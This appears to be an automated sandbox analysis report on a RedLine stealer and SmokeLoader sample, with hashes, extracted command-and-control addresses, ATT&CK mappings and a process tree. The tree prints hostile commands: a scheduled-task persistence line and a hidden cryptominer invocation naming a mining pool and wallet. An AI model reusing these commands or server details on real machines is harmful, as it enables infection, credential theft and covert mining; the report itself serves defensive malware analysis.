redline | 01ca19f36de8a302c1eb7d539c99f1908fc66839f06b377a036df974ef60c2db

Analysis

max time kernel
53s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
25/10/2022, 16:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f6249f6a2576cb066ac3ddab0dc42156.exe
Size 255KB
Sample221025-tx3d5adbf5
SHA256 01ca19f36de8a302c1eb7d539c99f1908fc66839f06b377a036df974ef60c2db
MD5 f6249f6a2576cb066ac3ddab0dc42156
SHA1 bb54f2789c944a0e38eb865efdddafc8f55f23ae
SHA512 6a8188a28cc9f14fa826d94b0b3add40a7b04036c09e2a9497a4f8143bae528c829f882dcca92afa8bf9377cf03879f38e7903efe41c1bc3117c21420960ed82
SSDEEP 6144:+33gLEkwpfPg8XfbADe9+8So/gM3yqo8hxyR69:+gAkwpfI8Lz/bRxv
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline smokeloader google2 nam7 slovarik15btc backdoor discovery infostealer spyware stealer trojan upx

Malware Config

Extracted

Family

redline

Botnet

nam7

103.89.90.61:34589

Attributes

auth_value
533c8fbdab4382453812c73ea2cee5b8

Extracted

Family

redline

Botnet

slovarik15btc

78.153.144.3:2510

Attributes

auth_value
bfedad55292538ad3edd07ac95ad8952

Extracted

Family

redline

Botnet

Google2

167.235.71.14:20469

Attributes

auth_value
fb274d9691235ba015830da570a13578

Signatures

Detects Smokeloader packer 1 IoCs

resource	yara_rule
behavioral2/memory/4724-133-0x0000000002E90000-0x0000000002E99000-memory.dmp	family_smokeloader

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 8 IoCs

resource	yara_rule
behavioral2/memory/2872-164-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral2/memory/4944-169-0x00000000008E0000-0x0000000000998000-memory.dmp	family_redline
behavioral2/memory/4528-207-0x0000000000360000-0x0000000000418000-memory.dmp	family_redline
behavioral2/memory/2352-206-0x0000000000780000-0x00000000007A8000-memory.dmp	family_redline
behavioral2/memory/4528-217-0x0000000000360000-0x0000000000418000-memory.dmp	family_redline
behavioral2/memory/1596-224-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral2/memory/2656-228-0x0000000000110000-0x00000000001C8000-memory.dmp	family_redline
behavioral2/memory/2656-232-0x0000000000110000-0x00000000001C8000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Downloads MZ/PE file

Executes dropped EXE 8 IoCs

pid	Process
4944	10F8.exe
1160	12ED.exe
4528	2F11.exe
2656	323E.exe
4992	3A6D.exe
4700	UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
4728	4C6F.exe
5012	LYKAA.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0002000000022e0f-249.dat	upx
behavioral2/memory/4728-251-0x00007FF664BE0000-0x00007FF665443000-memory.dmp	upx

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	3A6D.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	LYKAA.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4944 set thread context of 2872	4944	10F8.exe	92
PID 4528 set thread context of 2352	4528	2F11.exe	96
PID 2656 set thread context of 1596	2656	323E.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3908	1160	WerFault.exe	91

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f6249f6a2576cb066ac3ddab0dc42156.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f6249f6a2576cb066ac3ddab0dc42156.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	f6249f6a2576cb066ac3ddab0dc42156.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3844	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2396	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4724	f6249f6a2576cb066ac3ddab0dc42156.exe
4724	f6249f6a2576cb066ac3ddab0dc42156.exe
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3004	Process not Found

Suspicious behavior: MapViewOfSection 17 IoCs

pid	Process
4724	f6249f6a2576cb066ac3ddab0dc42156.exe
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found

Suspicious use of AdjustPrivilegeToken 52 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeDebugPrivilege	1160	12ED.exe
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeDebugPrivilege	4700	UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
Token: SeDebugPrivilege	1596	RegSvcs.exe
Token: SeDebugPrivilege	2872	RegSvcs.exe
Token: SeDebugPrivilege	5012	LYKAA.exe
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeDebugPrivilege	2352	RegSvcs.exe
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3004 wrote to memory of 4944	3004	Process not Found	90
PID 3004 wrote to memory of 4944	3004	Process not Found	90
PID 3004 wrote to memory of 4944	3004	Process not Found	90
PID 3004 wrote to memory of 1160	3004	Process not Found	91
PID 3004 wrote to memory of 1160	3004	Process not Found	91
PID 3004 wrote to memory of 1160	3004	Process not Found	91
PID 4944 wrote to memory of 2872	4944	10F8.exe	92
PID 4944 wrote to memory of 2872	4944	10F8.exe	92
PID 4944 wrote to memory of 2872	4944	10F8.exe	92
PID 4944 wrote to memory of 2872	4944	10F8.exe	92
PID 4944 wrote to memory of 2872	4944	10F8.exe	92
PID 3004 wrote to memory of 4528	3004	Process not Found	94
PID 3004 wrote to memory of 4528	3004	Process not Found	94
PID 3004 wrote to memory of 4528	3004	Process not Found	94
PID 3004 wrote to memory of 2656	3004	Process not Found	95
PID 3004 wrote to memory of 2656	3004	Process not Found	95
PID 3004 wrote to memory of 2656	3004	Process not Found	95
PID 4528 wrote to memory of 2352	4528	2F11.exe	96
PID 4528 wrote to memory of 2352	4528	2F11.exe	96
PID 4528 wrote to memory of 2352	4528	2F11.exe	96
PID 4528 wrote to memory of 2352	4528	2F11.exe	96
PID 4528 wrote to memory of 2352	4528	2F11.exe	96
PID 3004 wrote to memory of 4992	3004	Process not Found	97
PID 3004 wrote to memory of 4992	3004	Process not Found	97
PID 2656 wrote to memory of 1596	2656	323E.exe	98
PID 2656 wrote to memory of 1596	2656	323E.exe	98
PID 2656 wrote to memory of 1596	2656	323E.exe	98
PID 2656 wrote to memory of 1596	2656	323E.exe	98
PID 2656 wrote to memory of 1596	2656	323E.exe	98
PID 4992 wrote to memory of 4700	4992	3A6D.exe	99
PID 4992 wrote to memory of 4700	4992	3A6D.exe	99
PID 4700 wrote to memory of 1452	4700	UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe	100
PID 4700 wrote to memory of 1452	4700	UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe	100
PID 1452 wrote to memory of 2396	1452	cmd.exe	102
PID 1452 wrote to memory of 2396	1452	cmd.exe	102
PID 3004 wrote to memory of 4728	3004	Process not Found	103
PID 3004 wrote to memory of 4728	3004	Process not Found	103
PID 3004 wrote to memory of 632	3004	Process not Found	104
PID 3004 wrote to memory of 632	3004	Process not Found	104
PID 3004 wrote to memory of 632	3004	Process not Found	104
PID 3004 wrote to memory of 632	3004	Process not Found	104
PID 1452 wrote to memory of 5012	1452	cmd.exe	105
PID 1452 wrote to memory of 5012	1452	cmd.exe	105
PID 3004 wrote to memory of 4172	3004	Process not Found	106
PID 3004 wrote to memory of 4172	3004	Process not Found	106
PID 3004 wrote to memory of 4172	3004	Process not Found	106
PID 3004 wrote to memory of 5096	3004	Process not Found	107
PID 3004 wrote to memory of 5096	3004	Process not Found	107
PID 3004 wrote to memory of 5096	3004	Process not Found	107
PID 3004 wrote to memory of 5096	3004	Process not Found	107
PID 5012 wrote to memory of 3592	5012	LYKAA.exe	108
PID 5012 wrote to memory of 3592	5012	LYKAA.exe	108
PID 3592 wrote to memory of 3844	3592	cmd.exe	111
PID 3592 wrote to memory of 3844	3592	cmd.exe	111
PID 3004 wrote to memory of 3056	3004	Process not Found	113
PID 3004 wrote to memory of 3056	3004	Process not Found	113
PID 3004 wrote to memory of 3056	3004	Process not Found	113
PID 3004 wrote to memory of 5076	3004	Process not Found	114
PID 3004 wrote to memory of 5076	3004	Process not Found	114
PID 3004 wrote to memory of 5076	3004	Process not Found	114
PID 3004 wrote to memory of 5076	3004	Process not Found	114
PID 3004 wrote to memory of 4360	3004	Process not Found	115
PID 3004 wrote to memory of 4360	3004	Process not Found	115
PID 3004 wrote to memory of 4360	3004	Process not Found	115

C:\Users\Admin\AppData\Local\Temp\f6249f6a2576cb066ac3ddab0dc42156.exe
"C:\Users\Admin\AppData\Local\Temp\f6249f6a2576cb066ac3ddab0dc42156.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4724

C:\Users\Admin\AppData\Local\Temp\10F8.exe
C:\Users\Admin\AppData\Local\Temp\10F8.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2872

C:\Users\Admin\AppData\Local\Temp\12ED.exe
C:\Users\Admin\AppData\Local\Temp\12ED.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1160
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1160 -s 1232
  2⤵
  - Program crash
  PID:3908

C:\Users\Admin\AppData\Local\Temp\2F11.exe
C:\Users\Admin\AppData\Local\Temp\2F11.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2352

C:\Users\Admin\AppData\Local\Temp\323E.exe
C:\Users\Admin\AppData\Local\Temp\323E.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2656
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1596

C:\Users\Admin\AppData\Local\Temp\3A6D.exe
C:\Users\Admin\AppData\Local\Temp\3A6D.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4992
- C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
  "C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4815.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1452
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:2396
  - - C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
      "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5012
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3592
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:3844
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.test -p x -t 5
        5⤵
        
        PID:2848
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:3096

C:\Users\Admin\AppData\Local\Temp\4C6F.exe
C:\Users\Admin\AppData\Local\Temp\4C6F.exe
1⤵
- Executes dropped EXE
PID:4728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "" "Get-WmiObject Win32_PortConnector"
  2⤵
  PID:3780

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:632

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4172

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1160 -ip 1160
1⤵
PID:816

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3056

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5076

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4360

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1812

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3784

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4768

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LYKAA.exe

Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
Size 836KB
SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
MD5 6bfb71e4fc04d577aeba46eb3412b4fa
SHA1 21a79a3829d6ffde7ce09e8ee237ec76b2f981ac
SHA512 5d536aa610b50dc5e28a855b03d0dffeff618ba5f33fc021c5651b5eec4f85783bcab08157bbc587224a867c22aa36bb11d3d07fc1a73c46b264d9c46c41a6be
SSDEEP 12288:tB6UUnSpQIw9Ax3noGzBLk28SF7U1QwBcoa:tXJmIw9Y5zB428y7U1NB
MD5 SHA1 SHA512 SSDEEP

Submit Download

LYKAA.exe

Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
Size 836KB
SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
MD5 6bfb71e4fc04d577aeba46eb3412b4fa
SHA1 21a79a3829d6ffde7ce09e8ee237ec76b2f981ac
SHA512 5d536aa610b50dc5e28a855b03d0dffeff618ba5f33fc021c5651b5eec4f85783bcab08157bbc587224a867c22aa36bb11d3d07fc1a73c46b264d9c46c41a6be
SSDEEP 12288:tB6UUnSpQIw9Ax3noGzBLk28SF7U1QwBcoa:tXJmIw9Y5zB428y7U1NB
MD5 SHA1 SHA512 SSDEEP

Submit Download

RegSvcs.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log
Size 2KB
SHA256 9562509765e4b604537ad94da94dfb7a675bc481e39ac98df0e245fa50a87169
MD5 8730644b84be7e133ab21f97a43c0117
SHA1 ac45ce1b256bed8f94a55153c5acdf1c6438b72d
SHA512 d9f1a3479e4e362a7343213b2baaf4911b071effc066d3d8c07157116334f10f856823f937a1d768857af5186b826d4de2d7075a5e6a17fffaead7740348bf49
MD5 SHA1 SHA512

Submit Download

10F8.exe

Path C:\Users\Admin\AppData\Local\Temp\10F8.exe
Size 724KB
SHA256 c033e68d45dd5612a735dc7ed11af35acca399af8c58aad26007da2c239b2d28
MD5 d97a5aa68ffe8ef659ab480fa3e986ad
SHA1 1d9594e801b501abb1c3e71757449e43002b97bf
SHA512 a5ad99d35d2356b0dd4ea220ecda3496f09b06a006de95a97331a70914f92d99c13789791ee5f2f41d12db42c5d7f77707095a8ef1693943b97b1c3ad5aa4d67
SSDEEP 12288:yQBRuSE/tRMOR0hGEn7uFURmtEiXnA7YCGJ0usrCneVduKUjHQMXEtTntWb5:yQBRDE/tRMK0clEiXAECGJv3E65
MD5 SHA1 SHA512 SSDEEP

Submit Download

10F8.exe

Path C:\Users\Admin\AppData\Local\Temp\10F8.exe
Size 724KB
SHA256 c033e68d45dd5612a735dc7ed11af35acca399af8c58aad26007da2c239b2d28
MD5 d97a5aa68ffe8ef659ab480fa3e986ad
SHA1 1d9594e801b501abb1c3e71757449e43002b97bf
SHA512 a5ad99d35d2356b0dd4ea220ecda3496f09b06a006de95a97331a70914f92d99c13789791ee5f2f41d12db42c5d7f77707095a8ef1693943b97b1c3ad5aa4d67
SSDEEP 12288:yQBRuSE/tRMOR0hGEn7uFURmtEiXnA7YCGJ0usrCneVduKUjHQMXEtTntWb5:yQBRDE/tRMK0clEiXAECGJv3E65
MD5 SHA1 SHA512 SSDEEP

Submit Download

12ED.exe

Path C:\Users\Admin\AppData\Local\Temp\12ED.exe
Size 365KB
SHA256 583b0791a0ba67d9dd1c0f542d8224a8293e767b8fb4c4308a0797d8a01d6989
MD5 e9cb900e57154d6469dae21c82a1753b
SHA1 6abf731b90c11ffbd3406aa6b89261cc9596fefd
SHA512 68074b342f0bc0ceb43a37269335c3edca82fc5f803f0cb59b2afcdf9477ad83951cea441717eb8a89977e171b7488e1d0d4603c90b8962d83111a37e8dc70d2
SSDEEP 6144:njpyL/e9qd1R8l41vGQFbkyuaWUqdMnEx5FErfj1kz+NLjkUhh:nEre9qdj8ehFb7u1M4Erfj6iNs2
MD5 SHA1 SHA512 SSDEEP

Submit Download

12ED.exe

Path C:\Users\Admin\AppData\Local\Temp\12ED.exe
Size 365KB
SHA256 583b0791a0ba67d9dd1c0f542d8224a8293e767b8fb4c4308a0797d8a01d6989
MD5 e9cb900e57154d6469dae21c82a1753b
SHA1 6abf731b90c11ffbd3406aa6b89261cc9596fefd
SHA512 68074b342f0bc0ceb43a37269335c3edca82fc5f803f0cb59b2afcdf9477ad83951cea441717eb8a89977e171b7488e1d0d4603c90b8962d83111a37e8dc70d2
SSDEEP 6144:njpyL/e9qd1R8l41vGQFbkyuaWUqdMnEx5FErfj1kz+NLjkUhh:nEre9qdj8ehFb7u1M4Erfj6iNs2
MD5 SHA1 SHA512 SSDEEP

Submit Download

2F11.exe

Path C:\Users\Admin\AppData\Local\Temp\2F11.exe
Size 724KB
SHA256 f26fe7b9a931b943154126dfbfda2d7848e31dbdba788808eb5a42e5b43d3af1
MD5 460777f526774a5f919178685f32509f
SHA1 b055c559d78f008907404ae94714bb59e435f7d1
SHA512 be94a27ab4170ea2c6c24a6329e46dfb224f9d52dee19da1b5864ecf6f8307432c1c1524e06e908effa55da75b06c09ec4b1a59f098d3046ed7d26cd0a2e0440
SSDEEP 12288:SQBRuSE/tRMOR05GEn7uFURmtEiXnA7YCGJ0usrCneVduKUjHQYEGvncD5:SQBRDE/tRMK0klEiXAECGJv3jEia5
MD5 SHA1 SHA512 SSDEEP

Submit Download

2F11.exe

Path C:\Users\Admin\AppData\Local\Temp\2F11.exe
Size 724KB
SHA256 f26fe7b9a931b943154126dfbfda2d7848e31dbdba788808eb5a42e5b43d3af1
MD5 460777f526774a5f919178685f32509f
SHA1 b055c559d78f008907404ae94714bb59e435f7d1
SHA512 be94a27ab4170ea2c6c24a6329e46dfb224f9d52dee19da1b5864ecf6f8307432c1c1524e06e908effa55da75b06c09ec4b1a59f098d3046ed7d26cd0a2e0440
SSDEEP 12288:SQBRuSE/tRMOR05GEn7uFURmtEiXnA7YCGJ0usrCneVduKUjHQYEGvncD5:SQBRDE/tRMK0klEiXAECGJv3jEia5
MD5 SHA1 SHA512 SSDEEP

Submit Download

323E.exe

Path C:\Users\Admin\AppData\Local\Temp\323E.exe
Size 724KB
SHA256 e4cf81d626a19d8f8755d0096c256d2ef3dc4f2fefd90ca20f874966f01c926f
MD5 e0d001248d855411f5a4aff83bbf0e42
SHA1 41c6b92c5732d9a72a6c4c112fb225c8a55b49d9
SHA512 a21185fc636eea7cbc5e35d0dc3aea3aaa9a2710f2517ed23ba6e6aa46bc3e6ea94e003836c2616e043dd6faa1adc5a97adadd468ef1c4f795ebd8dcbd94d310
SSDEEP 12288:4QBRuSE/tRMOR05GEn7uFURmtEiXnA7YCGJ0usrCneVduKUjHysthqNOSJU2L/q+:4QBRDE/tRMK0klEiXAECGJv3NrZheq7y
MD5 SHA1 SHA512 SSDEEP

Submit Download

323E.exe

Path C:\Users\Admin\AppData\Local\Temp\323E.exe
Size 724KB
SHA256 e4cf81d626a19d8f8755d0096c256d2ef3dc4f2fefd90ca20f874966f01c926f
MD5 e0d001248d855411f5a4aff83bbf0e42
SHA1 41c6b92c5732d9a72a6c4c112fb225c8a55b49d9
SHA512 a21185fc636eea7cbc5e35d0dc3aea3aaa9a2710f2517ed23ba6e6aa46bc3e6ea94e003836c2616e043dd6faa1adc5a97adadd468ef1c4f795ebd8dcbd94d310
SSDEEP 12288:4QBRuSE/tRMOR05GEn7uFURmtEiXnA7YCGJ0usrCneVduKUjHysthqNOSJU2L/q+:4QBRDE/tRMK0klEiXAECGJv3NrZheq7y
MD5 SHA1 SHA512 SSDEEP

Submit Download

3A6D.exe

Path C:\Users\Admin\AppData\Local\Temp\3A6D.exe
Size 1.1MB
SHA256 be73afa7a9b39a447b38dc20b76017742364402e4dcaf629a014a694ed202d6a
MD5 de13415883a0ce890e192af659fcf88e
SHA1 29e798a45ef4b766de0ad2bbc69a869779b0be1d
SHA512 87e90bec47ccfd69008e656c53ed29ae9a7da98a13f4f51584f186f3b3c1d1406296059b8f5e8873800d2293e7f2034b8f7261bf7751653fd68174c928c32a9b
SSDEEP 24576:h7E+sV3XWbVSfTRjjj7r72XCdWnIk/DIy:ZtMjjromWnIEIy
MD5 SHA1 SHA512 SSDEEP

Submit Download

3A6D.exe

Path C:\Users\Admin\AppData\Local\Temp\3A6D.exe
Size 1.1MB
SHA256 be73afa7a9b39a447b38dc20b76017742364402e4dcaf629a014a694ed202d6a
MD5 de13415883a0ce890e192af659fcf88e
SHA1 29e798a45ef4b766de0ad2bbc69a869779b0be1d
SHA512 87e90bec47ccfd69008e656c53ed29ae9a7da98a13f4f51584f186f3b3c1d1406296059b8f5e8873800d2293e7f2034b8f7261bf7751653fd68174c928c32a9b
SSDEEP 24576:h7E+sV3XWbVSfTRjjj7r72XCdWnIk/DIy:ZtMjjromWnIEIy
MD5 SHA1 SHA512 SSDEEP

Submit Download

4C6F.exe

Path C:\Users\Admin\AppData\Local\Temp\4C6F.exe
Size 2.6MB
SHA256 b4c758e51a6f76ed43e0219aac7367af7d7b54c12130a39fdad3caa1f402d675
MD5 701b03f316f1906936a7882afb8e93c6
SHA1 305c0d52f4e83661d604c01ee1a0171b2532b380
SHA512 08fcd469bc2ca2ca83d27ce17e7eb2852d5bfa3bd7a7e4183bb0789915f15f1ba056cd2b12d3aaf72035ffe0af0198ef5dea86d1dd9412cb3f9ec8e07890cef6
SSDEEP 49152:sy2TjVh0P7xlB/oR4ynjVTRaJhFZegcd/ax6iId20H7iflkJcQwwba:sy2lGTXsTaEPaMm6h+
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp4815.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp4815.tmp.bat
Size 153B
SHA256 e05420c90bb3e15832e3e318fccdc63bc8f657dd24bd7ee57127e0473fc62ad8
